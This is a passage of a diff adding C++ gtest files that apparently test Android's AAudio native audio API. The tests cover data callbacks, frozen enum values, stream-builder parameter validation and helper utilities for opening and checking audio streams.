+        ASSERT_EQ(framesPerDataCallback, mCbData->actualFramesPerCallback);
+    }
+
+    ASSERT_EQ(AAUDIO_OK, mCbData->callbackError);
+}
+
+INSTANTIATE_TEST_CASE_P(SPM, AAudioInputStreamCallbackTest,
+        ::testing::Values(
+                std::make_tuple(
+                        AAUDIO_SHARING_MODE_SHARED,
+                        AAUDIO_UNSPECIFIED,
+                        AAUDIO_PERFORMANCE_MODE_NONE),
+                // cb buffer size: arbitrary prime number < 192
+                std::make_tuple(AAUDIO_SHARING_MODE_SHARED, 109, AAUDIO_PERFORMANCE_MODE_NONE),
+                // cb buffer size: arbitrary prime number > 192
+                std::make_tuple(AAUDIO_SHARING_MODE_SHARED, 223, AAUDIO_PERFORMANCE_MODE_NONE),
+                // Recording in POWER_SAVING mode isn't supported, b/62291775.
+                std::make_tuple(
+                        AAUDIO_SHARING_MODE_SHARED,
+                        AAUDIO_UNSPECIFIED,
+                        AAUDIO_PERFORMANCE_MODE_LOW_LATENCY)),
+        &getTestName);
+
+
+class AAudioOutputStreamCallbackTest : public AAudioStreamCallbackTest<OutputStreamBuilderHelper> {
+  protected:
+    void SetUp() override;
+
+    static aaudio_data_callback_result_t MyDataCallbackProc(
+            AAudioStream *stream, void *userData, void *audioData, int32_t numFrames);
+};
+
+// Callback function that fills the audio output buffer.
+aaudio_data_callback_result_t AAudioOutputStreamCallbackTest::MyDataCallbackProc(
+        AAudioStream *stream, void *userData, void *audioData, int32_t numFrames) {
+    int32_t channelCount = AAudioStream_getChannelCount(stream);
+    int32_t numSamples = channelCount * numFrames;
+    if (AAudioStream_getFormat(stream) == AAUDIO_FORMAT_PCM_I16) {
+        int16_t *shortData = (int16_t *) audioData;
+        for (int i = 0; i < numSamples; i++) *shortData++ = 0;
+    } else if (AAudioStream_getFormat(stream) == AAUDIO_FORMAT_PCM_FLOAT) {
+        float *floatData = (float *) audioData;
+        for (int i = 0; i < numSamples; i++) *floatData++ = 0.0f;
+    }
+
+    AAudioCallbackTestData *myData = static_cast<AAudioCallbackTestData*>(userData);
+    myData->updateFrameCount(numFrames);
+    myData->updateLatency(measureLatency(stream));
+    myData->callbackCount++;
+    return AAUDIO_CALLBACK_RESULT_CONTINUE;
+}
+
+void AAudioOutputStreamCallbackTest::SetUp() {
+    mHelper.reset(new OutputStreamBuilderHelper(
+                    std::get<PARAM_SHARING_MODE>(GetParam()),
+                    std::get<PARAM_PERF_MODE>(GetParam())));
+    mHelper->initBuilder();
+
+    int32_t framesPerDataCallback = std::get<PARAM_FRAMES_PER_CB>(GetParam());
+    mCbData.reset(new AAudioCallbackTestData());
+    AAudioStreamBuilder_setErrorCallback(builder(), &MyErrorCallbackProc, mCbData.get());
+    AAudioStreamBuilder_setDataCallback(builder(), &MyDataCallbackProc, mCbData.get());
+    if (framesPerDataCallback != AAUDIO_UNSPECIFIED) {
+        AAudioStreamBuilder_setFramesPerDataCallback(builder(), framesPerDataCallback);
+    }
+
+    mSetupSuccesful = false;
+    mHelper->createAndVerifyStream(&mSetupSuccesful);
+}
+
+// Test Writing to an AAudioStream using a Callback
+TEST_P(AAudioOutputStreamCallbackTest, testPlayback) {
+    if (!mSetupSuccesful) return;
+
+    const int32_t framesPerDataCallback = std::get<PARAM_FRAMES_PER_CB>(GetParam());
+    const int32_t actualFramesPerDataCallback = AAudioStream_getFramesPerDataCallback(stream());
+    if (framesPerDataCallback != AAUDIO_UNSPECIFIED) {
+        ASSERT_EQ(framesPerDataCallback, actualFramesPerDataCallback);
+    }
+
+    // Start/stop more than once to see if it fails after the first time.
+    // Write some data and measure the rate to see if the timing is OK.
+    for (int loopIndex = 0; loopIndex < 2; loopIndex++) {
+        mCbData->reset(actualFramesPerDataCallback);
+
+        mHelper->startStream();
+        // See b/62090113. For legacy path, the device is only known after
+        // the stream has been started.
+        EXPECT_NE(AAUDIO_UNSPECIFIED, AAudioStream_getDeviceId(stream()));
+        sleep(2); // let the stream run
+
+        ASSERT_EQ(AAUDIO_OK, mCbData->callbackError);
+        ASSERT_GT(mCbData->callbackCount, 10);
+
+        // For more coverage, alternate pausing and stopping.
+        if ((loopIndex & 1) == 0) {
+            mHelper->pauseStream();
+        } else {
+            mHelper->stopStream();
+        }
+
+        int32_t oldCallbackCount = mCbData->callbackCount;
+        EXPECT_GT(oldCallbackCount, 10);
+        sleep(1);
+        EXPECT_EQ(oldCallbackCount, mCbData->callbackCount); // expect not advancing
+
+        if (framesPerDataCallback != AAUDIO_UNSPECIFIED) {
+            ASSERT_EQ(framesPerDataCallback, mCbData->actualFramesPerCallback);
+        }
+
+        EXPECT_GE(mCbData->minLatency, 1);   // Absurdly low
+        EXPECT_LE(mCbData->maxLatency, 300); // Absurdly high, should be < 30
+                                               // Note that on some devices it's 200-something
+        //printf("latency: %d, %d\n", mCbData->minLatency, mCbData->maxLatency);
+    }
+
+    ASSERT_EQ(AAUDIO_OK, mCbData->callbackError);
+}
+
+INSTANTIATE_TEST_CASE_P(SPM, AAudioOutputStreamCallbackTest,
+        ::testing::Values(
+                std::make_tuple(
+                        AAUDIO_SHARING_MODE_SHARED,
+                        AAUDIO_UNSPECIFIED,
+                        AAUDIO_PERFORMANCE_MODE_NONE),
+                // cb buffer size: arbitrary prime number < 192
+                std::make_tuple(AAUDIO_SHARING_MODE_SHARED, 109, AAUDIO_PERFORMANCE_MODE_NONE),
+                // cb buffer size: arbitrary prime number > 192
+                std::make_tuple(AAUDIO_SHARING_MODE_SHARED, 223, AAUDIO_PERFORMANCE_MODE_NONE),
+                std::make_tuple(
+                        AAUDIO_SHARING_MODE_SHARED,
+                        AAUDIO_UNSPECIFIED,
+                        AAUDIO_PERFORMANCE_MODE_POWER_SAVING),
+                std::make_tuple(
+                        AAUDIO_SHARING_MODE_SHARED,
+                        AAUDIO_UNSPECIFIED,
+                        AAUDIO_PERFORMANCE_MODE_LOW_LATENCY)),
+        &getTestName);
diff --git a/tests/tests/nativemedia/aaudio/src/test_aaudio_misc.cpp b/tests/tests/nativemedia/aaudio/src/test_aaudio_misc.cpp
new file mode 100644
index 0000000..42c9f42
--- /dev/null
+++ b/tests/tests/nativemedia/aaudio/src/test_aaudio_misc.cpp
@@ -0,0 +1,78 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License", ENUM_CANNOT_CHANGE);
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define LOG_NDEBUG 0
+#define LOG_TAG "AAudioTest"
+
+#include <aaudio/AAudio.h>
+#include <android/log.h>
+#include <gtest/gtest.h>
+
+// Make sure enums do not change value.
+TEST(test_aaudio_misc, aaudio_freeze_enums) {
+
+#define ENUM_CANNOT_CHANGE "enum in API cannot change"
+
+    static_assert(0 == AAUDIO_DIRECTION_OUTPUT, ENUM_CANNOT_CHANGE);
+    static_assert(1 == AAUDIO_DIRECTION_INPUT, ENUM_CANNOT_CHANGE);
+
+    static_assert(-1 == AAUDIO_FORMAT_INVALID, ENUM_CANNOT_CHANGE);
+    static_assert(0 == AAUDIO_FORMAT_UNSPECIFIED, ENUM_CANNOT_CHANGE);
+    static_assert(1 == AAUDIO_FORMAT_PCM_I16, ENUM_CANNOT_CHANGE);
+    static_assert(2 == AAUDIO_FORMAT_PCM_FLOAT, ENUM_CANNOT_CHANGE);
+
+    static_assert(0 == AAUDIO_OK, ENUM_CANNOT_CHANGE);
+    static_assert(-900 == AAUDIO_ERROR_BASE, ENUM_CANNOT_CHANGE);
+    static_assert(-899 == AAUDIO_ERROR_DISCONNECTED, ENUM_CANNOT_CHANGE);
+    static_assert(-898 == AAUDIO_ERROR_ILLEGAL_ARGUMENT, ENUM_CANNOT_CHANGE);
+    // reserved
+    static_assert(-896 == AAUDIO_ERROR_INTERNAL, ENUM_CANNOT_CHANGE);
+    static_assert(-895 == AAUDIO_ERROR_INVALID_STATE, ENUM_CANNOT_CHANGE);
+    // reserved
+    // reserved
+    static_assert(-892 == AAUDIO_ERROR_INVALID_HANDLE, ENUM_CANNOT_CHANGE);
+    // reserved
+    static_assert(-890 == AAUDIO_ERROR_UNIMPLEMENTED, ENUM_CANNOT_CHANGE);
+    static_assert(-889 == AAUDIO_ERROR_UNAVAILABLE, ENUM_CANNOT_CHANGE);
+    static_assert(-888 == AAUDIO_ERROR_NO_FREE_HANDLES, ENUM_CANNOT_CHANGE);
+    static_assert(-887 == AAUDIO_ERROR_NO_MEMORY, ENUM_CANNOT_CHANGE);
+    static_assert(-886 == AAUDIO_ERROR_NULL, ENUM_CANNOT_CHANGE);
+    static_assert(-885 == AAUDIO_ERROR_TIMEOUT, ENUM_CANNOT_CHANGE);
+    static_assert(-884 == AAUDIO_ERROR_WOULD_BLOCK, ENUM_CANNOT_CHANGE);
+    static_assert(-883 == AAUDIO_ERROR_INVALID_FORMAT, ENUM_CANNOT_CHANGE);
+    static_assert(-882 == AAUDIO_ERROR_OUT_OF_RANGE, ENUM_CANNOT_CHANGE);
+    static_assert(-881 == AAUDIO_ERROR_NO_SERVICE, ENUM_CANNOT_CHANGE);
+
+    static_assert(0 == AAUDIO_STREAM_STATE_UNINITIALIZED, ENUM_CANNOT_CHANGE);
+    static_assert(1 == AAUDIO_STREAM_STATE_UNKNOWN, ENUM_CANNOT_CHANGE);
+    static_assert(2 == AAUDIO_STREAM_STATE_OPEN, ENUM_CANNOT_CHANGE);
+    static_assert(3 == AAUDIO_STREAM_STATE_STARTING, ENUM_CANNOT_CHANGE);
+    static_assert(4 == AAUDIO_STREAM_STATE_STARTED, ENUM_CANNOT_CHANGE);
+    static_assert(5 == AAUDIO_STREAM_STATE_PAUSING, ENUM_CANNOT_CHANGE);
+    static_assert(6 == AAUDIO_STREAM_STATE_PAUSED, ENUM_CANNOT_CHANGE);
+    static_assert(7 == AAUDIO_STREAM_STATE_FLUSHING, ENUM_CANNOT_CHANGE);
+    static_assert(8 == AAUDIO_STREAM_STATE_FLUSHED, ENUM_CANNOT_CHANGE);
+    static_assert(9 == AAUDIO_STREAM_STATE_STOPPING, ENUM_CANNOT_CHANGE);
+    static_assert(10 == AAUDIO_STREAM_STATE_STOPPED, ENUM_CANNOT_CHANGE);
+    static_assert(11 == AAUDIO_STREAM_STATE_CLOSING, ENUM_CANNOT_CHANGE);
+    static_assert(12 == AAUDIO_STREAM_STATE_CLOSED, ENUM_CANNOT_CHANGE);
+
+    static_assert(0 == AAUDIO_SHARING_MODE_EXCLUSIVE, ENUM_CANNOT_CHANGE);
+    static_assert(1 == AAUDIO_SHARING_MODE_SHARED, ENUM_CANNOT_CHANGE);
+
+    static_assert(0 == AAUDIO_CALLBACK_RESULT_CONTINUE, ENUM_CANNOT_CHANGE);
+    static_assert(1 == AAUDIO_CALLBACK_RESULT_STOP, ENUM_CANNOT_CHANGE);
+}
diff --git a/tests/tests/nativemedia/aaudio/src/test_aaudio_stream_builder.cpp b/tests/tests/nativemedia/aaudio/src/test_aaudio_stream_builder.cpp
new file mode 100644
index 0000000..7a69bd4
--- /dev/null
+++ b/tests/tests/nativemedia/aaudio/src/test_aaudio_stream_builder.cpp
@@ -0,0 +1,304 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define LOG_NDEBUG 0
+#define LOG_TAG "AAudioTest"
+
+#include <aaudio/AAudio.h>
+#include <android/log.h>
+#include <gtest/gtest.h>
+
+// Creates a builder, the caller takes ownership
+static void create_stream_builder(AAudioStreamBuilder** aaudioBuilder) {
+    aaudio_result_t result = AAudio_createStreamBuilder(aaudioBuilder);
+    ASSERT_EQ(AAUDIO_OK, result);
+    ASSERT_NE(nullptr, *aaudioBuilder);
+}
+
+enum class Expect { FAIL, SUCCEED, NOT_CRASH };
+
+// Tries to open an audio stream using a primed Builder.
+// Takes ownership of the Builder.
+static void try_opening_audio_stream(AAudioStreamBuilder *aaudioBuilder, Expect expect) {
+    // Create an AAudioStream using the Builder.
+    AAudioStream *aaudioStream = nullptr;
+    aaudio_result_t result = AAudioStreamBuilder_openStream(aaudioBuilder, &aaudioStream);
+    if (expect == Expect::FAIL) {
+        ASSERT_NE(AAUDIO_OK, result);
+        ASSERT_EQ(nullptr, aaudioStream);
+    } else if (expect == Expect::SUCCEED) {
+        ASSERT_EQ(AAUDIO_OK, result);
+        ASSERT_NE(nullptr, aaudioStream);
+    } else { // NOT_CRASH
+        ASSERT_TRUE(((result < 0) && (aaudioStream == nullptr))
+                || ((result == AAUDIO_OK) && (aaudioStream != nullptr)));
+    }
+
+    // Cleanup
+    ASSERT_EQ(AAUDIO_OK, AAudioStreamBuilder_delete(aaudioBuilder));
+    if (aaudioStream != nullptr) {
+        ASSERT_EQ(AAUDIO_OK, AAudioStream_close(aaudioStream));
+    }
+}
+
+// Test creating a default stream with specific devices
+static void runtest_aaudio_devices(int32_t deviceId, Expect expect) {
+    AAudioStreamBuilder *aaudioBuilder = nullptr;
+    create_stream_builder(&aaudioBuilder);
+    AAudioStreamBuilder_setDeviceId(aaudioBuilder, deviceId);
+    try_opening_audio_stream(aaudioBuilder, expect);
+}
+
+TEST(test_aaudio, aaudio_stream_device_unspecified) {
+    runtest_aaudio_devices(AAUDIO_UNSPECIFIED, Expect::NOT_CRASH);
+}
+
+/* FIXME - why can we open this device? What is an illegal deviceId?
+TEST(test_aaudio, aaudio_stream_device_absurd) {
+    runtest_aaudio_devices(19736459, true);
+}
+*/
+/* FIXME review
+TEST(test_aaudio, aaudio_stream_device_reasonable) {
+    runtest_aaudio_devices(1, false);
+}
+*/
+
+/* FIXME - why can we open this device? What is an illegal deviceId?
+TEST(test_aaudio, aaudio_stream_device_negative) {
+    runtest_aaudio_devices(-765, true);
+}
+*/
+
+// Test creating a default stream with everything unspecified.
+TEST(test_aaudio, aaudio_stream_unspecified) {
+    AAudioStreamBuilder *aaudioBuilder = nullptr;
+    create_stream_builder(&aaudioBuilder);
+
+    // Create an AAudioStream using the Builder.
+    AAudioStream *aaudioStream = nullptr;
+    ASSERT_EQ(AAUDIO_OK, AAudioStreamBuilder_openStream(aaudioBuilder, &aaudioStream));
+    ASSERT_NE(nullptr, aaudioStream);
+
+    // Cleanup
+    EXPECT_EQ(AAUDIO_OK, AAudioStreamBuilder_delete(aaudioBuilder));
+    EXPECT_EQ(AAUDIO_OK, AAudioStream_close(aaudioStream));
+}
+
+class AAudioStreamBuilderSamplingRateTest : public ::testing::TestWithParam<int32_t> {
+  public:
+    static std::string getTestName(const ::testing::TestParamInfo<int32_t>& info) {
+        return info.param >= 0 ? std::to_string(info.param) : "_" + std::to_string(-info.param);
+    }
+  protected:
+    static bool isValidSamplingRate(int32_t sr) {
+        return sr == AAUDIO_UNSPECIFIED || (sr >= 8000 && sr <= 1000000);
+    }
+};
+
+TEST_P(AAudioStreamBuilderSamplingRateTest, openStream) {
+    AAudioStreamBuilder *aaudioBuilder = nullptr;
+    create_stream_builder(&aaudioBuilder);
+    AAudioStreamBuilder_setSampleRate(aaudioBuilder, GetParam());
+    try_opening_audio_stream(
+            aaudioBuilder, isValidSamplingRate(GetParam()) ? Expect::SUCCEED : Expect::FAIL);
+}
+
+INSTANTIATE_TEST_CASE_P(SR, AAudioStreamBuilderSamplingRateTest,
+        ::testing::Values(
+                // Commonly used values
+                AAUDIO_UNSPECIFIED, 8000, 11025, 16000, 22050, 44100, 48000, 88200, 96000,
+                // Odd values
+                AAUDIO_UNSPECIFIED - 1, AAUDIO_UNSPECIFIED + 1, 1234, 1000000, 10000000),
+        &AAudioStreamBuilderSamplingRateTest::getTestName);
+
+class AAudioStreamBuilderChannelCountTest : public ::testing::TestWithParam<int32_t> {
+  public:
+    static std::string getTestName(const ::testing::TestParamInfo<int32_t>& info) {
+        return info.param >= 0 ? std::to_string(info.param) : "_" + std::to_string(-info.param);
+    }
+  protected:
+    static bool isValidChannelCount(int32_t cc) {
+        return cc == AAUDIO_UNSPECIFIED || (cc >= 1 && cc <= 8);
+    }
+};
+
+TEST_P(AAudioStreamBuilderChannelCountTest, openStream) {
+    AAudioStreamBuilder *aaudioBuilder = nullptr;
+    create_stream_builder(&aaudioBuilder);
+    AAudioStreamBuilder_setChannelCount(aaudioBuilder, GetParam());
+    try_opening_audio_stream(
+            aaudioBuilder, isValidChannelCount(GetParam()) ? Expect::SUCCEED : Expect::FAIL);
+}
+
+INSTANTIATE_TEST_CASE_P(CC, AAudioStreamBuilderChannelCountTest,
+        ::testing::Values(
+                // Reasonable values
+                AAUDIO_UNSPECIFIED, 1, 2, 3, 4, 5, 6, 7, 8,
+                // Odd values
+                AAUDIO_UNSPECIFIED - 1, 9, 100, 1000000, 10000000),
+        &AAudioStreamBuilderChannelCountTest::getTestName);
+
+class AAudioStreamBuilderFormatTest : public ::testing::TestWithParam<aaudio_format_t> {
+  public:
+    static std::string getTestName(const ::testing::TestParamInfo<aaudio_format_t>& info) {
+        return info.param >= 0 ? std::to_string(info.param) : "_" + std::to_string(-info.param);
+    }
+  protected:
+    static bool isValidFormat(aaudio_format_t f) {
+        switch (f) {
+            case AAUDIO_FORMAT_UNSPECIFIED:
+            case AAUDIO_FORMAT_PCM_I16:
+            case AAUDIO_FORMAT_PCM_FLOAT:
+                return true;
+        }
+        return false;
+    }
+};
+
+TEST_P(AAudioStreamBuilderFormatTest, openStream) {
+    AAudioStreamBuilder *aaudioBuilder = nullptr;
+    create_stream_builder(&aaudioBuilder);
+    AAudioStreamBuilder_setFormat(aaudioBuilder, GetParam());
+    try_opening_audio_stream(
+            aaudioBuilder, isValidFormat(GetParam()) ? Expect::SUCCEED : Expect::FAIL);
+}
+
+INSTANTIATE_TEST_CASE_P(F, AAudioStreamBuilderFormatTest,
+        ::testing::Values(
+                // Reasonable values
+                AAUDIO_FORMAT_UNSPECIFIED, AAUDIO_FORMAT_PCM_I16, AAUDIO_FORMAT_PCM_FLOAT,
+                // Odd values
+                AAUDIO_FORMAT_INVALID, AAUDIO_FORMAT_INVALID - 1, 100, 1000000, 10000000),
+        &AAudioStreamBuilderFormatTest::getTestName);
+
+class AAudioStreamBuilderSharingModeTest : public ::testing::TestWithParam<aaudio_sharing_mode_t> {
+  public:
+    static std::string getTestName(const ::testing::TestParamInfo<aaudio_sharing_mode_t>& info) {
+        return info.param >= 0 ? std::to_string(info.param) : "_" + std::to_string(-info.param);
+    }
+  protected:
+    static bool isValidSharingMode(aaudio_sharing_mode_t f) {
+        return f == AAUDIO_SHARING_MODE_SHARED || f == AAUDIO_SHARING_MODE_EXCLUSIVE;
+    }
+};
+
+TEST_P(AAudioStreamBuilderSharingModeTest, openStream) {
+    AAudioStreamBuilder *aaudioBuilder = nullptr;
+    create_stream_builder(&aaudioBuilder);
+    AAudioStreamBuilder_setFormat(aaudioBuilder, GetParam());
+    try_opening_audio_stream(
+            aaudioBuilder, isValidSharingMode(GetParam()) ? Expect::SUCCEED : Expect::FAIL);
+}
+
+INSTANTIATE_TEST_CASE_P(SM, AAudioStreamBuilderSharingModeTest,
+        ::testing::Values(
+                // Reasonable values
+                AAUDIO_SHARING_MODE_SHARED, AAUDIO_SHARING_MODE_EXCLUSIVE,
+                // Odd values
+                -1, 100, 1000000, 10000000),
+        &AAudioStreamBuilderSharingModeTest::getTestName);
+
+class AAudioStreamBuilderDirectionTest : public ::testing::TestWithParam<aaudio_direction_t> {
+  public:
+    static std::string getTestName(const ::testing::TestParamInfo<aaudio_direction_t>& info) {
+        return info.param >= 0 ? std::to_string(info.param) : "_" + std::to_string(-info.param);
+    }
+  protected:
+    static bool isValidSharingMode(aaudio_direction_t f) {
+        return f == AAUDIO_DIRECTION_OUTPUT || f == AAUDIO_DIRECTION_INPUT;
+    }
+};
+
+TEST_P(AAudioStreamBuilderDirectionTest, openStream) {
+    AAudioStreamBuilder *aaudioBuilder = nullptr;
+    create_stream_builder(&aaudioBuilder);
+    AAudioStreamBuilder_setFormat(aaudioBuilder, GetParam());
+    try_opening_audio_stream(
+            aaudioBuilder, isValidSharingMode(GetParam()) ? Expect::SUCCEED : Expect::FAIL);
+}
+
+INSTANTIATE_TEST_CASE_P(SD, AAudioStreamBuilderDirectionTest,
+        ::testing::Values(
+                // Reasonable values
+                AAUDIO_DIRECTION_OUTPUT, AAUDIO_DIRECTION_INPUT,
+                // Odd values
+                -1, 100, 1000000, 10000000),
+        &AAudioStreamBuilderDirectionTest::getTestName);
+
+class AAudioStreamBuilderBufferCapacityTest : public ::testing::TestWithParam<int32_t> {
+  public:
+    static std::string getTestName(const ::testing::TestParamInfo<int32_t>& info) {
+        return info.param >= 0 ? std::to_string(info.param) : "_" + std::to_string(-info.param);
+    }
+  protected:
+    // There is no hard defined limit, the actual maximum capacity depends
+    // on the implementation.
+    static bool isValidCapacity(int32_t bc) {
+        return bc == AAUDIO_UNSPECIFIED || bc >= 0;
+    }
+};
+
+TEST_P(AAudioStreamBuilderBufferCapacityTest, openStream) {
+    AAudioStreamBuilder *aaudioBuilder = nullptr;
+    create_stream_builder(&aaudioBuilder);
+    AAudioStreamBuilder_setBufferCapacityInFrames(aaudioBuilder, GetParam());
+    try_opening_audio_stream(
+            aaudioBuilder, isValidCapacity(GetParam()) ? Expect::SUCCEED : Expect::FAIL);
+}
+
+INSTANTIATE_TEST_CASE_P(BC, AAudioStreamBuilderBufferCapacityTest,
+        ::testing::Values(
+                // Reasonable values that should not fail
+                AAUDIO_UNSPECIFIED, 8 * 192, 2 * 1024,
+                // Odd values
+                AAUDIO_UNSPECIFIED - 1),
+        &AAudioStreamBuilderBufferCapacityTest::getTestName);
+
+class AAudioStreamBuilderPerfModeTest : public ::testing::TestWithParam<aaudio_performance_mode_t> {
+  public:
+    static std::string getTestName(const ::testing::TestParamInfo<aaudio_performance_mode_t>& info) {
+        return info.param >= 0 ? std::to_string(info.param) : "_" + std::to_string(-info.param);
+    }
+  protected:
+    static bool isValidPerfMode(aaudio_performance_mode_t pm) {
+        switch (pm) {
+            case AAUDIO_PERFORMANCE_MODE_NONE:
+            case AAUDIO_PERFORMANCE_MODE_POWER_SAVING:
+            case AAUDIO_PERFORMANCE_MODE_LOW_LATENCY:
+                return true;
+        }
+        return false;
+    }
+};
+
+TEST_P(AAudioStreamBuilderPerfModeTest, openStream) {
+    AAudioStreamBuilder *aaudioBuilder = nullptr;
+    create_stream_builder(&aaudioBuilder);
+    AAudioStreamBuilder_setPerformanceMode(aaudioBuilder, GetParam());
+    try_opening_audio_stream(
+            aaudioBuilder, isValidPerfMode(GetParam()) ? Expect::SUCCEED : Expect::FAIL);
+}
+
+INSTANTIATE_TEST_CASE_P(PM, AAudioStreamBuilderPerfModeTest,
+        ::testing::Values(
+                // Reasonable values
+                AAUDIO_PERFORMANCE_MODE_NONE,
+                AAUDIO_PERFORMANCE_MODE_POWER_SAVING,
+                AAUDIO_PERFORMANCE_MODE_LOW_LATENCY,
+                // Odd values
+                AAUDIO_UNSPECIFIED - 1, AAUDIO_UNSPECIFIED, 100, 1000000, 10000000),
+        &AAudioStreamBuilderPerfModeTest::getTestName);
diff --git a/tests/tests/nativemedia/aaudio/src/utils.cpp b/tests/tests/nativemedia/aaudio/src/utils.cpp
new file mode 100644
index 0000000..8b9f60d
--- /dev/null
+++ b/tests/tests/nativemedia/aaudio/src/utils.cpp
@@ -0,0 +1,196 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define LOG_TAG "AAudioTest"
+
+#include <sys/types.h>
+#include <unistd.h>
+
+#include <android/log.h>
+#include <gtest/gtest.h>
+
+#include "test_aaudio.h"
+#include "utils.h"
+
+int64_t getNanoseconds(clockid_t clockId) {
+    struct timespec time;
+    int result = clock_gettime(clockId, &time);
+    if (result < 0) {
+        return -errno;
+    }
+    return (time.tv_sec * NANOS_PER_SECOND) + time.tv_nsec;
+}
+
+const char* performanceModeToString(aaudio_performance_mode_t mode) {
+    switch (mode) {
+        case AAUDIO_PERFORMANCE_MODE_NONE: return "DEFAULT";
+        case AAUDIO_PERFORMANCE_MODE_POWER_SAVING: return "POWER_SAVING";
+        case AAUDIO_PERFORMANCE_MODE_LOW_LATENCY: return "LOW_LATENCY";
+    }
+    return "UNKNOWN";
+}
+
+const char* sharingModeToString(aaudio_sharing_mode_t mode) {
+    switch (mode) {
+        case AAUDIO_SHARING_MODE_SHARED: return "SHARED";
+        case AAUDIO_SHARING_MODE_EXCLUSIVE: return "EXCLUSIVE";
+    }
+    return "UNKNOWN";
+}
+
+
+StreamBuilderHelper::StreamBuilderHelper(
+        aaudio_direction_t direction, int32_t sampleRate,
+        int32_t channelCount, aaudio_format_t dataFormat,
+        aaudio_sharing_mode_t sharingMode, aaudio_performance_mode_t perfMode)
+        : mDirection{direction},
+          mRequested{sampleRate, channelCount, dataFormat, sharingMode, perfMode},
+          mActual{0, 0, AAUDIO_FORMAT_INVALID, -1, -1}, mFramesPerBurst{-1},
+          mBuilder{nullptr}, mStream{nullptr} {}
+
+StreamBuilderHelper::~StreamBuilderHelper() {
+    close();
+}
+
+void StreamBuilderHelper::initBuilder() {
+    // Use an AAudioStreamBuilder to define the stream.
+    aaudio_result_t result = AAudio_createStreamBuilder(&mBuilder);
+    ASSERT_EQ(AAUDIO_OK, result);
+    ASSERT_TRUE(mBuilder != nullptr);
+
+    // Request stream properties.
+    AAudioStreamBuilder_setDeviceId(mBuilder, AAUDIO_UNSPECIFIED);
+    AAudioStreamBuilder_setDirection(mBuilder, mDirection);
+    AAudioStreamBuilder_setSampleRate(mBuilder, mRequested.sampleRate);
+    AAudioStreamBuilder_setChannelCount(mBuilder, mRequested.channelCount);
+    AAudioStreamBuilder_setFormat(mBuilder, mRequested.dataFormat);
+    AAudioStreamBuilder_setSharingMode(mBuilder, mRequested.sharingMode);
+    AAudioStreamBuilder_setPerformanceMode(mBuilder, mRequested.perfMode);
+}
+
+// Needs to be a 'void' function due to ASSERT requirements.
+void StreamBuilderHelper::createAndVerifyStream(bool *success) {
+    *success = false;
+
+    aaudio_result_t result = AAudioStreamBuilder_openStream(mBuilder, &mStream);
+    if (mRequested.sharingMode == AAUDIO_SHARING_MODE_EXCLUSIVE && result != AAUDIO_OK) {
+        __android_log_write(ANDROID_LOG_WARN, LOG_TAG, "Could not open a stream in EXCLUSIVE mode");
+        return;
+    }
+    ASSERT_EQ(AAUDIO_OK, result);
+    ASSERT_TRUE(mStream != nullptr);
+    ASSERT_EQ(AAUDIO_STREAM_STATE_OPEN, AAudioStream_getState(mStream));
+    ASSERT_EQ(mDirection, AAudioStream_getDirection(mStream));
+
+    mActual.sharingMode = AAudioStream_getSharingMode(mStream);
+    if (mActual.sharingMode != mRequested.sharingMode) {
+        // Since we are covering all possible values, the "actual" mode
+        // will also be tested, so no need to run the same test twice.
+        __android_log_print(ANDROID_LOG_WARN, LOG_TAG, "Sharing mode %s is not available",
+                sharingModeToString(mRequested.sharingMode));
+        return;
+    }
+
+    // Check to see what kind of stream we actually got.
+    mActual.sampleRate = AAudioStream_getSampleRate(mStream);
+    ASSERT_GE(mActual.sampleRate, 44100);
+    ASSERT_LE(mActual.sampleRate, 96000); // TODO what is min/max?
+
+    mActual.channelCount = AAudioStream_getChannelCount(mStream);
+    ASSERT_GE(mActual.channelCount, 1);
+    ASSERT_LE(mActual.channelCount, 16); // TODO what is min/max?
+
+    mActual.dataFormat = AAudioStream_getFormat(mStream);
+    ASSERT_EQ(AAUDIO_FORMAT_PCM_I16, mActual.dataFormat);
+
+    mActual.perfMode = AAudioStream_getPerformanceMode(mStream);
+    if (mRequested.perfMode != AAUDIO_PERFORMANCE_MODE_NONE
+            && mRequested.perfMode != mActual.perfMode) {
+        // Since we are covering all possible values, the "actual" mode
+        // will also be tested, so no need to run the same test twice.
+        __android_log_print(ANDROID_LOG_WARN, LOG_TAG, "Performance mode %s is not available",
+                performanceModeToString(mRequested.sharingMode));
+        return;
+    }
+
+    mFramesPerBurst = AAudioStream_getFramesPerBurst(mStream);
+    ASSERT_GE(mFramesPerBurst, 16);
+    ASSERT_LE(mFramesPerBurst, 3072); // on some devices, it can be 2052
+
+    int32_t actualBufferSize = AAudioStream_getBufferSizeInFrames(mStream);
+    ASSERT_GT(actualBufferSize, 0);
+    ASSERT_GT(AAudioStream_setBufferSizeInFrames(mStream, actualBufferSize), 0);
+
+    *success = true;
+}
+
+void StreamBuilderHelper::close() {
+    if (mBuilder != nullptr) {
+        ASSERT_EQ(AAUDIO_OK, AAudioStreamBuilder_delete(mBuilder));
+    }
+    if (mStream != nullptr) {
+        ASSERT_EQ(AAUDIO_OK, AAudioStream_close(mStream));
+    }
+}
+
+void StreamBuilderHelper::streamCommand(
